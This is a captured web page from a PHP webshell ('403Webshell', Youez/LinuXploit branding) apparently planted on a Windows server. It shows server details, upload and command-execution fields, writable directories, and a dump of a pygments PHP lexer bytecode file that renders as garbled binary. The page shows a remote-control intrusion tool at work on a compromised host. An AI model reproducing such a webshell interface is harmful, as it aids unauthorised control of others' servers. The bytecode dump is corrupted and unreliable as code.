403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/pygments/lexers/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/pygments/lexers/__pycache__/php.cpython-39.opt-2.pyc
a

SҼa1�@s�ddlZddlmZmZmZmZmZmZmZm	Z	m
Z
ddlmZm
Z
mZmZmZmZmZmZmZmZddlmZmZmZgd�Ze�d�ZGdd�de�ZGd	d
�d
e�ZGdd�de�ZdS)
�N)	�Lexer�
RegexLexer�include�bygroups�default�using�this�words�
do_insertions)
�Text�Comment�Operator�Keyword�Name�String�Number�Punctuation�Other�Generic)�get_bool_opt�get_list_opt�shebang_matches)�ZephirLexer�PsyshConsoleLexer�PhpLexerz.*?
c@seZdZdZdgZdgZgd�Zgd�Zej	ej
BZdefde
jfde
jfged	�d
ejdfdedfed�gd
edfgdedfed	�dedfdedfdefdedfdejdfdejfdejfdejfdejfdejfdejfdej fdej!fdejfgd�Z"dS) rZZephirZzephirz*.zep)ZfetchZechoZisset�empty)�bit�bits�string�\s+�//.*?\n�	/\*.*?\*/�commentsandwhitespacez3/(\\.|[^[/\\\n]|\[(\\.|[^\]\\\n])*])+/([gim]+\b|\B)�#pop�/z\nz	^(?=\s|/)�slashstartsregexzC\+\+|--|~|&&|\?|:|\|\||\\(?=\n)|(<<|>>>?|==?|!=?|->|[-<>+*%&|^/])=?z[{(\[;,]z[})\].]z�(for|in|while|do|break|return|continue|switch|case|default|if|else|loop|require|inline|throw|try|catch|finally|new|delete|typeof|instanceof|void|namespace|use|extends|this|fetch|isset|unset|echo|fetch|likely|unlikely|empty)\bz(var|let|with|function)\bz�(abstract|boolean|bool|char|class|const|double|enum|export|extends|final|native|goto|implements|import|int|string|interface|long|ulong|char|uchar|float|unsigned|private|protected|public|short|static|self|throws|reverse|transient|volatile)\bz(true|false|null|undefined)\bzm(Array|Boolean|Date|_REQUEST|_COOKIE|_SESSION|_GET|_POST|_SERVER|this|stdClass|range|count|iterator|window)\bz[$a-zA-Z_][\w\\]*z%[0-9][0-9]*\.[0-9]+([eE][0-9]+)?[fd]?z0x[0-9a-fA-F]+z[0-9]+z"(\\\\|\\[^\\]|[^"\\])*"z'(\\\\|\\[^\\]|[^'\\])*')r"r%Zbadregex�rootN)#�__name__�
__module__�__qualname__�name�aliases�	filenamesZzephir_keywordsZzephir_type�re�DOTALL�	MULTILINE�flagsrr�Single�	MultilinerrZRegexr
rrrZDeclarationZReserved�Constantr�Builtinrr�Float�Hex�Integer�Double�tokens�r:r:�7/usr/lib/python3.9/site-packages/pygments/lexers/php.pyrsZ
������
����rc@s&eZdZdZdgZdd�Zdd�ZdS)rzPsySH console session for PHPZpsyshcKsd|d<tj|fi|��dS)NT�startinline)r�__init__)�self�optionsr:r:r;r=lszPsyshConsoleLexer.__init__c	cstfi|j��}d}g}t�|�D]�}|��}|�d�sB|�d�rx|�t|�dtj	|dd�fgf�||dd�7}q"|�
�dkr�|�t|�dtj	dfgf�||dd�7}q"|r�t||�|��EdHd}g}|�
�tj|fVq"|�rt||�|��EdHdS)N�z>>> z... r�z...�)rr?�line_re�finditer�group�
startswith�append�lenrZPrompt�rstripr
�get_tokens_unprocessed�startZOutput)r>�textZphplexerZcurcodeZ
insertions�match�liner:r:r;rJps4
�
�
�
�z(PsyshConsoleLexer.get_tokens_unprocessedN)r'r(r)r*r+r=rJr:r:r:r;rYsrc"@s�eZdZdZgd�Zgd�ZdgZdZdZdedZ	ee	Z
ejej
BejBZd	ejd
fdefdefgd
ejdfde
deeeejeejee�fdefdejfdejfdejfdejfdejfde
deeeej�fdefdefdefdeee�dfdeee�fdeeeee�d fd!e
deeeej�fd"efd#ejfe d$�d%e
d&ej!fd'e
ej!fe
ejfd(e"j#fd)e"j#fd*e"j$fd+e"j%fd,e"j&fd-e"j'fd.ejfd/ej(fd0ej)d1fge*d2d3d4�ej+j,fge*d5d3d4�ejfge
ej-dfge d6�e
ej+dfe.d�gd0ej)dfd7ej)fd8ej/fd9e
d:e
d;ej0fd<eej0e1e2d=d>�ej0�fd?eej0e1e2d=d>�ej0�fd@eej0ej!ej0�fdAej)fgdB�Z3dCdD�Z4dEdF�Z5dGdH�Z6dIS)JrZPHP)�phpZphp3Zphp4Zphp5)z*.phpz
*.php[345]z*.incz
text/x-phpz[\\\w]|[^\x00-\x7f]z(?:[\\_a-z]|[^\x00-\x7f])z(?:z)*z	<\?(php)?rOz[^<]+�<z\?>r#z(<<<)([\'"]?)(z)(\2\n.*?\n\s*)(\3)(;?)(\n)rz#.*?\nr z/\*\*/z/\*\*.*?\*/r!z
(->|::)(\s*)(�)z[~!%^&*+=|:.<>/@-]+z\?z
[\[\]{}();,]+z(class)(\s+)�	classnamez(function)(\s*)(?=\()z(function)(\s+)(&?)(\s*)�functionnamez
(const)(\s+)(a(and|E_PARSE|old_function|E_ERROR|or|as|E_WARNING|parent|eval|PHP_OS|break|exit|case|extends|PHP_VERSION|cfunction|FALSE|print|for|require|continue|foreach|require_once|declare|return|default|static|do|switch|die|stdClass|echo|else|TRUE|elseif|var|empty|if|xor|enddeclare|include|virtual|endfor|include_once|while|endforeach|global|endif|list|endswitch|new|endwhile|not|array|E_ALL|NULL|final|php_user_filter|interface|implements|public|private|protected|abstract|clone|try|catch|throw|this|use|namespace|trait|yield|finally)\bz(true|false|null)\b�magicconstantsz\$\{\$+z\}z\$+z"(\d+\.\d*|\d*\.\d+)(e[+-]?[0-9]+)?z\d+e[+-]?[0-9]+z0[0-7]+z0x[a-f0-9]+z\d+z0b[01]+z'([^'\\]*(?:\\.[^'\\]*)*)'z`([^`\\]*(?:\\.[^`\\]*)*)`�"r)Z__constructZ
__destructZ__callZ__callStaticZ__getZ__setZ__issetZ__unsetZ__sleepZ__wakeupZ
__toStringZ__invokeZ__set_stateZ__cloneZ__debugInfoz\b)�suffix)Z__LINE__Z__FILE__Z__DIR__Z__FUNCTION__Z	__CLASS__Z	__TRAIT__Z
__METHOD__Z
__NAMESPACE__�
magicfuncsz	[^{$"\\]+z'\\([nrt"$\\]|[0-7]{1,3}|x[0-9a-f]{1,2})z\$z(\[\S+?\]|->z)?z(\{\$\{)(.*?)(\}\})T)�_startinlinez(\{)(\$.*?)(\})z(\$\{)(\S+)(\})z[${\\])r&rOrWrTrRrSrcKs�t|dd�|_t|ddg�|_t|dd�|_d|vr@|�d�|_t�|_|jr�dd	lm	}|�
�D]\}}||jvrb|j�|�qbtj
|fi|��dS)
N�funcnamehighlightingT�disabledmodules�unknownr<FrXr)�MODULES)rrYrrZr<�pop�set�
_functionsZpygments.lexers._php_builtinsr\�items�updaterr=)r>r?r\�key�valuer:r:r;r=s ��
zPhpLexer.__init__ccsddg}|jr|�d�t�|||�D]:\}}}|tjurR||jvrR|tj|fVq$|||fVq$dS)Nr&rO)r<rGrrJrrr_r4)r>rL�stack�index�tokenrcr:r:r;rJ.s
�

zPhpLexer.get_tokens_unprocessedcCs*t|d�rdSd}t�d|�r&|d7}|S)NrOTgz
<\?(?!xml)g333333�?)rr-�search)rL�rvr:r:r;�analyse_text:s
zPhpLexer.analyse_textN)7r'r(r)r*r+r,Z	mimetypesZ_ident_charZ_ident_beginZ
_ident_endZ_ident_innerr-�
IGNORECASEr.r/r0rZPreprocrrrZ	Delimiterrrr1r2ZDocr
rZ	Attributerr3rZVariablerr5ZOctr6r7ZBinZBacktickr8r	ZFunctionZMagicZClassrZEscapeZInterpolrrr9r=rJrir:r:r:r;r�s�!
�

��
��
�
�
�4���
���	
�
�
��������br) r-Zpygments.lexerrrrrrrrr	r
Zpygments.tokenrrr
rrrrrrrZ
pygments.utilrrr�__all__�compilerCrrrr:r:r:r;�<module>s,0
A1

Youez - 2016 - github.com/yon3zu
LinuXploit